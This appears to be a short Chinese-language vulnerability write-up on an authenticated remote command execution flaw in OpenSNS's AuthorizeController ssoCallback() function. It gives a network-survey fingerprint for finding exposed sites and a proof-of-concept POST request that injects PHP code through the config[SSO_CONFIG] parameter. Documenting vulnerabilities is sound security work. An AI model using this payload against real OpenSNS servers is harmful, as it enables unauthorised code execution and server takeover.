# OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞 ## 漏洞描述 OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞,在登录的情况下可以获取服务器权限 ## 漏洞影响 ``` OpenSNS ``` ## 网络测绘 ``` icon_hash="1167011145" ``` ## 漏洞复现 登录页面如下 ![image-20220518154117028](images/202205181541097.png) 存在漏洞的文件为 `Application/Admin/Controller/AuthorizeController.class.php` ![image-20220518154127216](images/202205181541309.png) 其中 config参数可控,构造请求就可以通过 file_put_contents 写入执行任意命令 ![image-20220518154143157](images/202205181541252.png) 构造请求包 ``` POST /admin.php?s=/Authorize/ssoCallback\ config[SSO_CONFIG]=phpinfo(); ``` ![image-20220518154206103](images/202205181542195.png)